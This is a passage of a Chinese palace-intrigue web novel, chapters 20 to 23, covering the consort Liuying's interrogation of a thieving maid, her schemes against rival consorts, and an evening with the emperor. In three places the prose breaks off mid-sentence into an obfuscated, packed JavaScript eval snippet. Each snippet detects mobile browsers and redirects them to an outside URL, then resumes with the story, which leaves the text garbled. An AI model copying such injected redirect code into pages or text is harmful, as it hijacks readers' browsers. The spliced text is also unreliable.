不多刻另一个梳着双螺髻的宫女,也从墙后探了脑袋出来。俩人交头接耳,春桃边说边快速打开手里食盒,从中掏出了一个被白布包得严严实实的东西,交给那宫女就匆匆走了。 两人走的却是完全相反的方向,宝珠紧想慢想还是选择跟上了那个小宫女,瞧见她确实进了尚服局,才一路小跑,赶在春桃前面回了银汉宫。 那会儿宝珠并不知道春桃已经偷走了玉净瓶,但她一跟流萤汇报,流萤当即就问那白布包的形状是否偏鼓偏圆?在得到肯定回答后,自然也就猜到了春桃交给小宫女的东西正是玉净瓶。 时间紧迫,流萤立即招呼来小金子,一商量便直接定在了今晚行动。他们必须要尽快知道那个小宫女是谁。 是以,就得先使些手段让春桃一时半会儿出不了屋。这样不仅能防止她过快进行下一次行动,更能腾出更多的时间好好审问。 可他们并没想到让春桃烫得这么严重,顶多手上溅几个水泡也就够了。 小金子提早在烧锅边缘垫了一块儿铁片,铁片另一头又穿孔系了根铁丝,只需趁乱一拽,便可晃出烧锅里的水,但绝不足以整个掀翻。若非春桃挣扎起身时不小心压翻了烧锅,根本不会伤得这么重。 然而春桃的意志力,却比他们想象得要坚强许多。 小金子得了令准备给春桃上药,可春桃却像是知道自己已然暴露、必不会有好下场,一直执拗着不肯用。 宁愿疼得浑身哆嗦蜷在地上,也死活不往小金子手上的药膏看一眼,就那么咬牙死死撑着,做足了大不了一死的准备。 这股傲劲儿倒叫流萤有几分喜欢。便突然善心大发,想赏她个痛快。 流萤嗤笑,“我就说吧,关采曼不会派个傻的来干这档子事儿。” 她一副早就料到的样子跟身后二人打趣,而后才慢悠悠走到春桃身边蹲下,附耳说了句什么。 春桃立即闻之色变。 难以置信看着流萤,那对原本无所畏惧的眸子,几乎瞬间就笼上不可名状的恐慌。也顾不得满手的水泡,只一把扑拽上流萤的裙摆,大声祈求。 “主子我说!她叫红绡,也是关充媛的人,求您别……!” 20. 攻破春桃 “红绡是尚服局崔司衣的徒弟,原……原也是庆祥宫的婢子,是去年关充媛才使了法子将她送去的。”春桃仍惊魂未定。 她原以为关充媛用性命相要挟已是心狠手辣,不成想流萤的手段才更加狠毒。 其实早在听到流萤直言自己是关采曼派来之时,她就知道已然没什么好再遮拦狡辩的了,稍一权衡,春桃便立即了然哪种死法更可怕,乖乖知无不言。 “求主子饶恕,奴婢确是关充媛遣派而来,只为接替彩秀继续在银汉宫里倒腾一些不显眼的宝贝。关充媛说若不帮她做事,就要将奴婢从离宫名单上划除,一辈子受她折磨,奴婢实在别无选择。昨日偷了您的宝瓶,是第一个,也是最后一个。” 春桃漂白的嘴唇张张合合,只怕自己说得不够全、不够快。 流萤知道她这是真的怕了自己方才说的惩罚,便冲小金子递了个眼神,示意他重新去给春桃上药。 春桃这次没敢再躲,但手臂上竖起的汗毛却是一直没有落下。 宝珠看在眼里以为是水泡太疼了,想上前安慰两句,但被流萤一把制止住。只冷冷问道, “红绡怎知今日要在那里等你?交予她之后又怎么处置?还有那个崔司衣又有何干系?别等我一句一句问,凡你知道的全都交代出来,我自会考虑取用多少。” 无法逃离小金子的钳制,春桃只能僵着身子,将头偏过一边。眼睛直勾勾盯着地面,机械答道。 “关充媛只让我们每月初一、初十、二十这三天里的巳时三刻碰头。红绡每次都要去,奴婢若没得手东西则不必过去。奴婢的任务就到这,至于红绡再怎么拿给关充媛,或是跟崔司衣如何扯上关系,奴婢就不知道了。” 怪不得让小金子和宝珠轮番盯着也没抓到她跟谁有来往,合是早就规定好了交头日子。 流萤瞧出春桃的失神难堪,虽知她已没什么心思编瞎话骗自己,可总觉得还能挖出来点儿什么,便再一次吩咐小金子,“给她脖子上也涂点药,我瞧着好像也有水泡。” 小金子离得最近,斜一眼便知春桃脖子只是发红、并无水泡。但主子发话必要应声,遂也将手伸了过去,可他才刚抬起来,就被春桃啪地一掌推开。 “主子,求您再给奴婢一个机会,要奴婢做什么都行!只是别……”春桃膝行到流萤面前,一直低着的头再抬起时已满是泪花。 流萤却未曾理会她的哀求,只幽幽看着她,眼神冰冷像是在说一点都不满意她的回答。急得春桃泪水更重,拼命回想着所有细节。 半晌,春桃终于一把抓住流萤的手颤声道。 “红绡白日接东西的时候说了句‘你可算来了,娘娘都催一回了。’但奴婢敢拿敢性命保证,真的听到了她先说了声哥哥,而后发现说错了才改的娘娘!红绡当时还十分警惕瞥了我一眼,很怕我察觉!” 春桃越说越激动,就突然像抓住了救命稻草再不舍得撒手。 “对!没错。她有个亲哥哥在尚食局,叫小盛子,红绡说的一定就是他!从前我跟红绡还一起在庆祥宫当值的时候见过小盛子一次。他长得不高、黑瘦黑瘦的,跟红绡一样都是眯缝眼。一看便知是亲兄妹!” “兴许关充媛就是让红绡把宝贝交给小盛子,而后再转到自己手上,不然她也不会那样说。奴婢实在不敢瞒主子!但那个崔司衣,奴婢是真的一点都不知道,以前也从未见过崔司衣过去庆祥宫找关充媛。求主子明鉴!” 春桃磕头如捣蒜,把小金子也看得一愣一愣,这还是方才和自己硬刚的那个人吗?一句话就能把人变成这样吗?不由得对流萤的钦佩又提了一个高度,十分好奇她到底说了什么。 但见流萤仍静坐思忖,小金子不敢多嘴,直到流萤发了话让宝珠先带春桃回房休息,他才诚心发问,不料答案却是让他久久难以平静。 “我告诉春桃,不说实话就把她送给皇上身边的林保益,美人在怀,林保益一定能卖我个好。” 宫女年过二十五便可选择离宫返乡,太监则要一辈子留在红墙之内。 本就不能人道,多重压抑下,人难免爱走极端。尤其一些年老资深的太监,仗着手里积攒了些许权力,就偏爱把眼光往刚进宫的小宫女身上瞄。 为的是什么自不必多说,即便没法行那档子事,他们也总有自己的乐子可寻。 且不论有的宫女还妄想一飞成凤、得皇帝青睐,又有哪个女人能甘心被阉人玩弄? 小金子瞬间就想明白,为何方才主子一直叫自己给春桃上药、而不是与其同为宫女的宝珠。就是在提醒春桃,她真的能说到做到。 也顷刻理解了春桃一碰就炸的恐惧、和果决叛变的无奈。若真到了林保益身边,等待她的非人折磨只会比贤妃能得使出的更可怕。 一句话就拿捏人心。小金子虽碍着太监身份对这招有些尴尬,但也不得不感叹,主子真的太知道蛇打七寸了。 “明日你去给汪芷柔送盒点心,传口信叫她即刻来一趟。”流萤道。 要想在尚食局里找人,目前唯一能用上的就只有和汪家有私交的陈食官。 流萤吩咐完,听小金子赧然应声,也知道他为何这般,便顺口多跟一句。 “当奴才也有当奴才的骨气,没人能因此瞧你不起。若有,就用尽一切办法站到他的头上去。让他必须仰望你。” 流萤自己也出身贫寒,从未瞧不起任何一个努力生活的人。 宫女太监也是人,已然舍弃了尊严和自由进到宫里来,流萤更不会再苛待他们什么。哪怕是说要将春桃送给林保益也不过是吓唬、想听实话罢了。 那么作孽的事儿她可不屑于干。 流萤只想尽快顺藤摸瓜,找出关采曼盗卖宫中宝贝这条线上的每一个节点,好将其一举拿下。 这不光是算二人从前的两笔旧账,更是为宫里除掉祸害。说不准还得算功劳一件,若能再给自己晋晋位份,岂不美哉。 翌日早膳刚过,汪芷柔收了信儿就来了,但进门第一句却是先说昨日在贤妃宫里没帮流萤说上话,觉得自己没用。 流萤觉得可乐,就这么点小事儿难为她还记了一天,立即摆手打断道,“这怪得到你什么?别什么都往自己身上揽。再说了,不是我让你离我疏远一些的吗?” 在没发生玉净瓶一事前,流萤让汪芷柔假意服软、归顺关采曼,找机会主动献宝,然后再贼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339266|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喊捉贼。 但如今,流萤已然想到了更为巧妙的计策。 她将红绡及小盛子的事情一字不落告诉了汪芷柔,并一再嘱咐,“第一次联系陈食官,务必事事小心。若有什么拿不准的,皆可先来与我商议。” “问你?”汪芷柔歪着脑袋,茫然问道,“你不是说怕关采曼怀疑、让我少过来的吗?” 这话不错,但只适用于昨日以前。 流萤喝了口茶,慢慢与她道来。 “关采曼派春桃来,就是想从我这儿得到宝贝。如果春桃说我好似有所怀疑,并重新清点完库房后就将最贵重的那些宝贝都悄悄藏了起来,她发现不了、拿不到。你猜,关采曼还会想到什么办法来知道那些宝贝在哪里?” 汪芷柔认真思索起来,流萤不着急也就不打扰她,只唤来小金子,叫他带桂儿去西偏殿那边认认北面墙的那个小洞,必要时好用得上。 流萤本以为那个小洞是彩秀为了与外面的人接头特意留下的。可后来又仔细问了春桃,才确定并非如此。关采曼他们竟是全然不知道那个洞的。 至于到底是怎么弄的,流萤准备等此事结束后再细作研究。反正现在是可以为她所用了。 别的干不了,塞个纸条传点信儿还是能做到的。 “我知道了!”这边汪芷柔也一拍手,终于想明白了。 “阖宫你只和我交好,对我防备甚少,我若想知道什么,一定比旁人更容易问出来。而我现在又忌惮于她,不敢不听她的命令。所以她完全可以派我来套话!我是最合适的人选!” 流萤会心一笑,回以赞许。但这只是缓兵之计,真正的大招要等充分掌握了小盛子那条线再行商议。 “对了。”汪芷柔并未完全沉浸在被赞赏的喜悦里,而是突然想起了什么。 “说到向她服软,我不是听了你的话没事就往关采曼屋里去一趟嘛。昨儿正赶上江绮玉带着孔映欢也来了。她进门就带一肚子的气儿,连行礼都忘了,惹得关采曼脸色唰地就变了。” 这几人都依附于贤妃,私下聚聚也是应该。 流萤心下了然,只说她那是刚被自己气完,并将昨日离开承乾宫后的事儿一五一十道了出来。 汪芷柔听完连连点头,一副怪不得的模样。“我说她怎么一进来就骂你呢,连带着看我都像是恨不得把我吃了。还说必须要想个法子对付你。但一见她进来关采曼就撵我走了,实在没听到他们究竟想干什么。” “无妨,兵来将挡。你只需把小盛子的事儿查明白就行。另外,我之前叫你在首饰上都做记号做得怎么样了?” 流萤并没把毫无城府的江绮玉太放在眼里,只要闻寻不指名道姓找自己侍寝、就算不得真正碍她事儿。江绮玉顶多是见了面过过嘴瘾,而且多半吵不过、最后惹气的还是她。 汪芷柔点点头称都差不多了。“镏金的镯子,我用黄色颜料挨个往上画三个点,玉质的发簪,则用小刀在簪头逐次划上三个圈。宫里就我一个姓汪的,三个点取自偏旁,一说便知是我的。” 这倒是个招,只是…… “江绮玉。江字也有三个点,她也可以这么说。”流萤定定提醒道。 21. 闻寻出手 汪芷柔完全没想到这种可能,滴溜溜圆睁两个眼睛,张了嘴却说不出话。这可是她绞尽脑汁才想出来独一无二的记号,怎叫流萤一下子就找出了漏洞。 本还想听流萤两句夸赞,如今倒好,不损她就不错了。汪芷柔越想脸蛋儿就臊得越红。 “没事儿,且就这么说吧。”流萤瞧出她的小心思,不觉轻勾唇角笑道。 “这些首饰最后应该只起辅助作用,你只要记得把从家里带来的也做上相同的记号就行了。伯母特别留给你的东西,江绮玉肯定不知道,不怕她乱贴。” 流萤安慰她放宽心,“关采曼既敢把手伸进银汉宫来,我就有法子叫她自断双臂。唉,要是我再早一点想明白就好了,可惜了你的那些好玉。” 颜料好擦,划痕却永远修复不了,流萤还真挺心疼那些首饰的。 等送走汪芷柔,屋子重新归于平静,心也再次沉了下来。流萤缓步踱到窗台边,随手掐下盆里两片薄荷,象征性捻掉上面本就不存在的土尘,两指一折就塞进了嘴里。 她喜欢沁凉汁水在唇齿间瞬间炸裂的感觉,清新、清醒,是她思考问题时最需要的两种感觉。 起初点名叫贺九仪送来这盆薄荷,也并非流萤随口一说,她是真的喜欢薄荷。 尤记得那间四处漏风、却仍藏温暖的茅草屋,记得自己认识的第一种植物,便是高高长在篱笆旁能够用来清口的薄荷。 碧叶盈盈,节节而生,顶端还有一串串小而紧凑的紫花……这是她内心最深处藏着的秘密。 流萤细细嚼着薄荷,眼前空空尽是回忆,可画面中突然不知从哪儿飘出来一句话,正是汪芷柔方才说的那句“江绮玉惹得关采曼脸色唰地就变了”。 对呀,谁说同一阵营里就不能再分出敌我呢! 同样是攀附阮家,关采曼要靠盗卖物件、拿真金白银才能换站在贤妃身侧的资格。 江绮玉却只凭一张脸就仪仗上太后,轻而易举走到比关采曼更加吃香、更加牢靠的位置,甚至还得到了她求都求不来的皇宠。 换谁能不气? 流萤再一思量,心中便新冒了出离间计的雏形,比叫汪芷柔小打小闹来揭发她好了太多。遂匆匆喝口茶咽下薄荷,准备抓紧时间去设这一计中最为重要的一环。 只是冤家路窄,还未待她行至安仪殿门前,竟先远远儿看见灰头土脸的江绮玉,正被林保益“请”了出来。 安仪殿在紫宸殿后身,是专供皇上休息放松的寝殿。这里没有处理政务的书房,嫔妃皆可以来此求见皇上。 又因安仪殿与甘泉殿相距不远,先帝在时,就常允几位得宠的嫔妃可先到甘泉殿沐浴梳洗,再进安仪殿里伺候。不过闻寻却从未叫过人来此处侍寝,就连白日也是几乎谁都不见的。 流萤也知多半会碰一鼻子灰,但想见闻寻,总不能真等着闻寻再翻自己牌子吧,那得等到猴年马月?是以哪怕只有万分之一的可能,她也必须来搏一搏。 “你来做什么?!”江绮玉狠狠剜了流萤一眼,问道。 江绮玉没料到闻寻会将她和亲手做的糕点一并扔了出来,本就一肚子怨气没处发泄,郁闷转身却正看见流萤一袭轻衣款款而来,如貌似仙,语气自是极不客气。 她不喜欢流萤,不仅是因为两次出丑皆叫流萤堵个正着,更是因为流萤长得实在漂亮。 独树一帜的漂亮。 不像自己,永远是个仿品。 “大白天就穿那么少勾引皇上,也不怕冻死!”江绮玉仍尖利着嗓子讽刺流萤。 她越想越恨,根本不顾安仪殿门前还有值守的太监,想到什么便说什么,没一点主子的矜持。 流萤则扫一眼江绮玉领间大露的锁骨,心中嗤笑,嘴上也没让她占到什么便宜。 “嫔妾今儿穿的长裙可是夹了棉的,风大砸人,江美人还是多关心关心您自己的身子吧。”流萤说着话,还装模作样紧了紧自己的领口,恨不得将整个脖子都包裹得再严实一些。 意图如此明显,饶是江绮玉再愚钝如枯木不开窍,也气得当即就抬手怒指她,“你!” 身旁的婢女则忙拉住江绮玉小声劝道,“主子莫急”。 那婢女一边劝,一边猛使眼色,俨然一副告诫她此处人多眼杂、不宜动气的架势,比当主子的江绮玉淡定了不知多少。 流萤细看了婢女一眼,确定不是当日在御花园胡乱涂鸟粪的那个。便猜到是贤妃或太后重新安排在其身边,想看顾她少生事端。 江绮玉被制止得无奈,咬牙又骂了句下流胚子才忿忿欲走,流萤哪里肯罢休。 “江美人!” 她疾声喊住江绮玉,“那些点心您还没带走呢,就算皇上不要了,留在这安仪殿大门前,怕是也不好看吧。” 从前她说江绮玉是冰雪玫瑰,现在倒是想到了更贴切的新名字,叫炮仗美人,一点就炸。 江绮玉闻言,气冲冲回身,直奔撒了一地的糕点怒不可遏跺了上去。全都跺了个细碎,才一脸解气地对流萤道。 “贺才人说得一点不错,那就由你来收拾吧。你眼睛那么尖,敢剩一个渣儿都是对皇上不敬!” 流萤闻言微怔。 江绮玉便亲自上手去拽。全然不顾旁人劝阻,纤细身板用足了劲儿,才三两下就推倒了流萤。 等确见流萤脸上挑衅的神色渐渐散去换作慌乱,她才犹未尽地抬起脚,也伸到流萤面前。 清楚看到自己鞋尖擦着流萤的细嫩脸颊惊险而过,江绮玉心里别提有多爽,只恨鞋尖上没有利刺、不能将那张明丽冶艳的脸蛋划花。 并恶狠狠补上一句,“还有我这鞋面也蹭了油,快一并就你的手给擦了。若擦不干净就拿回去洗,我素爱干净,可见不得一点脏东西!” 哪怕只是位高一阶,江绮玉也有支使流萤的这个权利。 江绮玉满心想着太后答应过自己,怀上皇嗣就给她升到婕妤。到那时,再想收拾一个小小才人不更是手到擒来。别说让流萤给自己洗鞋子,就是让她舔干净,她也得乖乖照做! 江绮玉越想越觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339267|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里舒坦,舒坦到安仪殿大门何时再度打开了都不知。自然也就不知那个明黄黄的身影,早已悄然行至她的身后。 “没受过宫廷礼教的东西就是上不了台面。” 闻寻冷哼着,刻薄言辞里说的是谁,无人不知。 宫中所有嫔妃都是通过召选而来,经层层筛选与调教才正式进了后宫。唯有江绮玉,仪仗太后之势,跨过繁杂道序直接被送上了龙床。 “皇上,是她先惹恼嫔妾,她才不懂礼数……” 江绮玉先是被闻寻的突然现身吓了一大跳,等反应过来又觉得皇上怎么能帮流萤而不帮自己?才连带着方才被扔出来的不满委屈,一股脑泄了出来。 更是扭两步上前欲扯闻寻袖子再解释一二,反被嫌弃推开。 闻寻黑着脸,声音比空旷大地上刮过的北风还冷,“见朕不下跪,你懂的什么礼?” 江绮玉闻言扭头,周遭人早已跪了满地,连流萤都收敛起翅膀,将头埋得很深。她也只好赶忙后退伏地,不敢再当作没有旁人的样子撒娇。 其实江绮玉一直不明白,男人不是最爱娇软妩媚的女人嘛?明明夜里的闻寻也很配合,怎一到了白日就能全然不顾那些鱼水之情、一点面子不给她?真真好狠的心肠。 暗道还得再多加点量才行,早晚叫他日日夜夜都离不了自己! 江绮玉低着头沉入自己的幻想,根本看不见此刻闻寻睨她的眼神已似寒光利刃,只待关键时给她致命一击。 “你来找朕?”闻寻不再与其纠缠,转而对流萤道。 声音虽还冰冷,语气却有所回温。 流萤耳尖,听出了其中差别。但知道是闻寻没忘要全宫女人都与她为敌的夙愿,并不以为奇。 且她早晚要与江绮玉对立,不如今日一并来了。便也不再遮掩,直言道,“嫔妾亦如江美人挂念圣体,特送来养心茶求见皇上。” 跪在后面的小金子随着流萤的话,打开手中食盒展示,确见盒中茶盏已倒、茶汤四撒。闻寻一路过来,自将二人方才的推搡尽收眼底,故而并未多言。 只惜字问道,“就这一杯?” “就这一杯。但嫔妾可回宫再煎好再送来。” “不必,朕与你同去。” 什么?!皇上竟要跟那个贱人一起回宫吃茶?! 比流萤更惊讶的是江绮玉。她不敢相信,“皇上怎可……” 她想问凭什么。凭什么对流萤就好言相待,对自己就那么无情?即便真的不在意自己,难道也一点不顾及太后吗? 可她一对上闻寻冷眉挂脸的样子就两脚发软,终是不敢在天子威仪面前太过放肆。 憋了半天,才再次伸出脚,好似灵机一动道,“皇上,她弄脏了嫔妾的鞋面,还没赔与嫔妾呢,怎能一走了之?皇上,您可莫要太偏心了~~” 江绮玉知硬碰不过,便还想用娇滴滴那套。奈何闻寻一点不吃。 反轻蔑问道,“那将贺才人的干净鞋子换给你,再把你的干净衣裳脱下来给她,如何?” 22. 各怀鬼胎 的确,脏了的不止江绮玉的鞋面。流萤被推搡倒地,身上衣裳也一并染了尘土。 只是流萤不解,闻寻何为要向着自己? 虽说闻寻对她越好,就越会引起旁人嫉妒。可闻寻说这句话的语气,却是实打实掺杂了令人背脊发寒的怒意。仅管细微难察、仅管只有一丝,也是绝不可抵赖的。 总不会是真对自己有点意思吧? 嗯,不会的,他憎恨自己还来不及呢。流萤在心里摇了摇头。 恰与江绮玉所站位置相反,她正对着安仪殿大门,清楚看见闻寻从那扇朱漆大门出来,而后目光就一直落在自己与江绮玉身上。他耳目清明,不可能看不出自己是故意不做挣扎、故意让江绮玉暴露本性的。 他明明都看见了…… 流萤思来想去,只得出一个结论。那便是比起单纯触他逆鳞的自己,闻寻更讨厌太后硬塞给他的江绮玉。并且讨厌到了极点。 如真是这样,倒能成全她一箭双雕。 流萤快速盘算着,丝丝光亮随着渐明思绪在心中悄然升起。原以为接近闻寻是个难事,不想有了如今的比较,竟连本尊都在帮她。 流萤压下心中欣喜,想再偷瞄一眼闻寻的神情,确保自己所想无误。不料这一眼却正正与其对上。她下意识低眸,却也就在那一瞬,竟扫到闻寻冲自己挑了下眼皮? 这是何意?难道……真叫她把鞋脱了? 流萤略一蹙眉,再冲闻寻眨眨眼。闻寻则浅努了下嘴算是回应她。 他竟真是这个意思! 流萤不再迟疑,径直起身。单手撑住小金子肩膀,另一手直奔绣鞋,轻轻一勾就把鞋子脱下来。 好不容易抓到这个与闻寻“统一战线”的机会,她自然不会放过。 虽是大庭广众,但只脱个鞋,对流萤来说倒无伤大雅。可若要换江绮玉当众褪衣、哪怕只解一个扣子,也真真是丢人丢大发了。 流萤顺势故作委屈,提着鞋子小步蹭到江绮玉面前,“江姐姐,衣裳就不必换了,我知道你不是有意的。只是天寒冻脚,还请你速与我换了鞋子可好?我这单脚立着,委实快立不住了。” 虽隔着宽松棉袜,可在秋风瑟瑟的天气里,流萤缩脚点地的模样还是叫人看了可怜。但仅限于宫人的眼中。 “你疯了不成?!谁要与你换?赶紧穿回去,别脏了我的眼!” 江绮玉像躲疯子一样躲流萤。 闻寻说那话本就够她震惊的了,万没料到流萤还真敢去做。她纵然赶不上什么尚书嫡女那般高贵,至少也是在员外郎府住了好些年的,岂能叫流萤那个穷乡僻壤来的贱丫头侮辱了去? 江绮玉气得脸红脖子粗,也知自己口才不好说不过二人,心里就只剩一个念头,那便是立即去找太后告状!太后一定向着自己! “既不换,就走吧。” 闻寻甩袖转身,不再给江绮玉任何机会。流萤则迅速穿好鞋跟上,她也迫切想知道闻寻葫芦里到底卖的什么药。 拿她当靶子可以、引一路宫人惊讶侧目也可以。但流萤总觉得那张阴恻面具下还藏了别的。 譬如,胜券在握的快感??? 流萤虽然很疑惑,但她自信不会看错。 毕竟看人看相一直是她的强项。饶是精于伪装的闻景都不曾瞒骗过自己,一个任性、稚气皆未散尽的闻寻,又能藏得住几分。 可他到底在高兴什么? 流萤垂头思虑,竟就一不留神撞上了驻足等她的闻寻。 闻寻身形颀长偏瘦,虽见过他身上皮肉也算紧实,但冷不防这一撞,流萤额头正好顶到他背上冷硬凸起的肩胛,也足把她撞了个踉跄。 皇帝在后宫里带妃子闲逛,搁在哪朝哪代都是再稀松不过的事儿,本不会惹人注目。 但怪就怪在闻寻从不似其他帝王那般多情,即便对待众人皆知最爱的卢访烟,也鲜少有这般耐心。 今日,他二人从安仪殿走到银汉宫足快一个时辰,闻寻竟连轿撵都没乘,就那么陪着流萤。而且当他发现自己步子迈得快了,还会放缓停下,特意等她。 流萤才要去摸撞得有点痛的额头,一只冰冰凉的手就先一步覆了上来。 闻寻没有开言问她疼不疼,可那双深邃凝望的眸子、和那只从额头顺势滑至脸颊轻柔爱抚她的手,却将关怀之意流露得人尽皆知。 两侧奴才见此皆慌张低头,企图掩饰面上死不敢露的惊讶。宫中谁人不知皇帝素来乖僻寡情,平日光是给个笑脸,都够宫里的嫔妃受用好久。 真的不敢想象,要是让其他嫔妃看见了此情此景会作何感情……尤其像是一贯跋扈善妒的向昭容、江美人等等,还不得化身饿狼,翻山越岭也要将其吃掉。 耳畔似有风声,流萤听不真切,只道与闻寻灼灼相视、各怀鬼胎。 他们看不见闻寻的眼睛,其实和手指一样冰凉。他们只知道,如此惊天动地的一幕,阖宫都会记上好久。 可流萤却了然闻寻眼中的温柔,丝毫不达眼底。 他看向自己的时候也全然不是喜欢,而是施舍。 这种眼神流萤早已看过无数次,死都不会认错。 于是流萤一路提防,直至跨进银汉宫大门,直至闻寻看见正堂壁上大大方方挂着那副小鸡啄米图时投来惊异目光,二人之间微妙如薄冰的氛围才有所打破。 “你就学成这样?!” 闻寻皱眉问话,他从未见过有人能画得如此难看。不,这根本就算不得是画。 笔触犹豫,线条软弱。闻寻看得实在忍不住,鄙夷又损她一句,“是照藏经阁里何人画作仿的?也不怕人家半夜化鬼来骂你。” 流萤没想到第一个上钩这幅画的人会是闻寻。更没想到,闻寻竟还记得自己曾说过去藏经阁找画作临摹的事儿。 但箭在弦上不得不发,反正闻寻今日也有推她当回宠妃的意思,不如顺势下坡,全当他送自己一程。 遂一边叫宝珠去煎养心茶,一边调整好略显轻松的语气问道,“皇上觉着不好吗?嫔妾可是画了许久的呢,难道一点子诀名家的画风都没有吗?” “你说谁?!”闻寻像是听到了天方夜谭。 “画家子诀呀,紫宸殿里不是还有他的画吗?难道挂太久您忘了?”流萤杏眼含笑,俏皮得就像在打趣闻寻贵人多忘事一样。 可闻寻却是再挂不住,冷峻脸上似有颜料彩盒打翻,青一阵白一阵,唯独那双乌亮墨瞳一直透着散不尽的黑。 是了,这才是闻寻一贯看自己的眼色。 哪儿有丁点温柔可言。 虽明知他已生气,流萤心里却是默默舒上口气。 继续说道,“那日嫔妾在紫宸殿见了您收藏的画,觉得甚好。可后来去了藏经阁,却没再翻到那位画家的作品,便只能凭着记忆自己摸索。肯定是仍有不足,但多多少少也得有些神韵吧?” 流萤自说自话,故意不去看闻寻脸上的阴沉。甚至裙摆微摇上前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339268|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,纤纤玉指轻点了点画中她自认为得意出彩的几处,一脸自豪,像极了等待大人夸奖的小孩儿。 尤其是那双奕奕飞扬的眼睛,俏皮、灵动,活似跃于林间的小鹿。飞奔而来,只为把闻寻撞死。 流萤深知他们这等爱画之人,最见不得自己画的这种“鬼东西”,便故意作势好奇,侧探着头放软了声音问。 “皇上既然那么喜爱子诀的画,想必定多有了解。左煎茶也要等上一会儿,不若就先帮嫔妾指导一二可好?” 流萤本想,不管闻寻今日为何而来,她都要抓稳机会亲近亲近。但闻寻一路戴的面具实在太过虚伪,她还是更擅于面对真实阴恻的闻寻。所以,就必须先把他的面具打掉。 闻寻也想,做戏就要做到底才真。既需她对自己俯首帖耳、心生爱慕,多给点甜头又如何?可也不知为何流萤就这么难搞。总能一举中的惹怒他不说,自己还偏就忍不住。 他能清晰听见牙齿磨出的异响,能清楚听到心跳冲上头顶的动怒。闻寻暗暗发誓,待此事结束,定要叫她也一起死到地狱去! 遂艰难滑动下喉头,狠狠睨了流萤一眼,示意她快些带路。 带去哪里,自然是书房。即便不是,流萤也会把他往书房领,反正不能叫他现在就走就是了。 她想留下闻寻,想让阖宫都知道她复宠了。 于是墨香渲染了熠光殿,烛火照亮了银汉宫。闻寻这一待,竟就到了晚上。 晚膳在此传了不说,甚至就寝时辰将至,也丝毫没有要走的意思。 林保益在外等候,虽不算热锅上的蚂蚁,额间却也隐有细汗冒出。并非闻寻以前没留宿过别宫,只是今时不同往日,眼下正是太后吩咐江美人…… 浑噩中忽听闻寻唤自己,礼林保益忙不迭应声上前,“皇上,轿撵已备好,可是现在回宫?” 他以为皇上叫自己是要整装回去了,不料迎头而下的指令却是让他安排,“今晚歇在贺才人处”。 宝珠闻言雀跃地快要蹦起来,立即喜滋滋朝闻寻一拜,“奴婢这就去准备!” 转身看见林保益满面愁容,欲言又止。担心他还要劝闻寻回安仪殿去,便停下脚步,眉眼带笑地虚心请教道,“林公公,可否请您一道帮着指点指点?奴婢不知皇上喜好,万别忙中出错了才是。” “皇上……您……”林保益确实还想再劝,可太过明显的话他又实在没胆子说。唯有叹息自己命苦,怎就摊上了要帮太后看着皇上的差事。 那边宝珠还在催,闻寻也交代完就转身回屋,根本没再多听他说一句。林保益无法,只能由宝珠引着去内室布置。 好在娇俏的小姑娘笑起来总甜甜的,是他平素喜欢的模样,也算是有一丝慰藉。 书房里,流萤一点儿没听到外头的响动,只一心扑在面前的碎金宣纸上。涂涂画画,眼神较真儿得很。 求闻寻指导本是随便说说,谁承想,他竟真的要教与自己,而且还布置了课业?! 流萤刚拿起笔,闻寻啪一扇子打掉。 曰:“拿不稳笔。” 流萤只得忿忿握紧笔,才画出一道, 闻寻又曰:“画不直线。” “一页画细直线、一页画粗弯线。一页画细弯线、一页再画粗直线。交替着画,朕今晚就在这儿看着,看你把这一摞都画完。不然,就不许睡觉!” 啊?流萤一个头比两个大。 这哪儿是找先生,分明是请活爹! 23. 破防小狗 夜色如墨,轻纱低垂,錾刻着精美花纹的琉璃宫灯高高悬挂于顶。灯光透过镂空处,洒下斑驳而柔和的光影,如同繁星点点,躺在厚软的羊毛地毯上,映出皇城宫里少有的静谧、平和。 墨香浓浓,飘散在空气中,恰与窗台上新绽放的兰花香气相融相织,味道更是说不出的奇异、暧昧。 奈何如此美景,屋里分坐书案两端的二人却尽是不嗅其香、不识其趣,只闷头跟自己面前的篇篇素纸较劲儿。 闻寻执羊毫挥洒,笔走龙蛇,宣纸上很快便初现画作轮廓,数道干净利落的山水线条在暖黄灯光下更显灵动、自然。 同样被暖黄灯光包裹上一层柔和的还有闻寻。 虽那刀削斧凿的侧脸依旧分明,但层层光晕打下,倒也能化解几分面上万年冰山般的冷峻。鼻梁挺拔,眼若寒星,连他的发丝都在灯光下闪烁起乌黑的光泽。 闻寻画得认真,偶有几缕不听话的碎发轻轻拂过他的额前,也并不理会。 